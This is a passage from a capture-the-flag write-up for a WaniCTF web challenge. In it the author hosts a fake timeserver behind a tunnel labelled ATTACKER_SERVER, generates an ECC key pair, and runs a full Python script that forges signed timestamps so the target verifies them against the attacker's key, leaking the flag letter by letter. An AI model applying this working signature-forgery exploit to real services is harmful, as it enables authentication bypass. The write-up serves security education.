+-------------------------+----------------------------------+
| Public tunnel URL | https://ATTACKER_SERVER |
+-------------------------+----------------------------------+
| Local inspect dashboard | http://localhost:46607 |
+-------------------------+----------------------------------+
| Forwarding traffic to | http://localhost:80 |
+-------------------------+----------------------------------+
404 GET /pubkey
So, if we create our own key pair, we can sign custom forged timestamps with our own private key and then trick the server into verifying the signature against our public key!
Let's generate the keys first - remember that the filename needs to be pubkey.
from Crypto.PublicKey import ECC
key = ECC.generate(curve='P-256')
with open('pubkey', 'wb') as f:
f.write(key.public_key().export_key(format='PEM'))
with open('privkey', 'wb') as f:
f.write(key.export_key(format='PEM'))
Next, we'll use a script that will loop through all 12 characters (days) of the flag, starting from yesterday (i - 1).
For each day, the script generates and signs a timestamp (using our private key) and then submits it to the content-server, with our ATTACKER_SERVER provided as the timeserver address.
The response is extracted with BeautifulSoup and then printed.
import requests
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from bs4 import BeautifulSoup
def load_private_key():
with open('privkey', 'rb') as f:
return ECC.import_key(f.read())
def generate_timestamp_and_sign(timestamp):
key = load_private_key()
h = SHA256.new(timestamp.encode('utf-8'))
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
return timestamp, signature.hex()
def send_timestamp_and_signature(timestamp, signature, timeserver):
url = 'https://web-one-day-one-letter-content-lz56g6.wanictf.org/'
payload = {
"timestamp": timestamp,
"signature": signature,
"timeserver": timeserver
}
headers = {
'Content-Type': 'application/json',
}
response = requests.post(url, json=payload, headers=headers)
return response.text
def extract_flag(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
flag_paragraph = soup.find_all('p')[1]
flag = flag_paragraph.text.split(' ')[2].strip()
return flag
if __name__ == "__main__":
timeserver = "ATTACKER_SERVER"
for i in range(12): # 12 days
timestamp = str(int(time.time()) + (i - 1) * 24 * 60 * 60)
timestamp_str, signature_hex = generate_timestamp_and_sign(timestamp)
response_text = send_timestamp_and_signature(
timestamp_str, signature_hex, timeserver)
flag = extract_flag(response_text)
print(f"Flag for timestamp {timestamp_str}: {flag}")
With a little extra effort, you could automatically extract the flag for each copy/paste, but this will suffice for me! 😁
Flag for timestamp 1719053227: FLAG{l???????????}.
Flag for timestamp 1719139629: FLAG{?y??????????}.
Flag for timestamp 1719226031: FLAG{??i?????????}.
Flag for timestamp 1719312433: FLAG{???n????????}.
Flag for timestamp 1719398835: FLAG{????g???????}.
Flag for timestamp 1719485237: FLAG{?????t??????}.
Flag for timestamp 1719571640: FLAG{??????h?????}.
Flag for timestamp 1719658042: FLAG{???????e????}.
Flag for timestamp 1719744444: FLAG{????????t???}.
Flag for timestamp 1719830846: FLAG{?????????i??}.
Flag for timestamp 1719917248: FLAG{??????????m?}.
Flag for timestamp 1720003650: FLAG{???????????e}.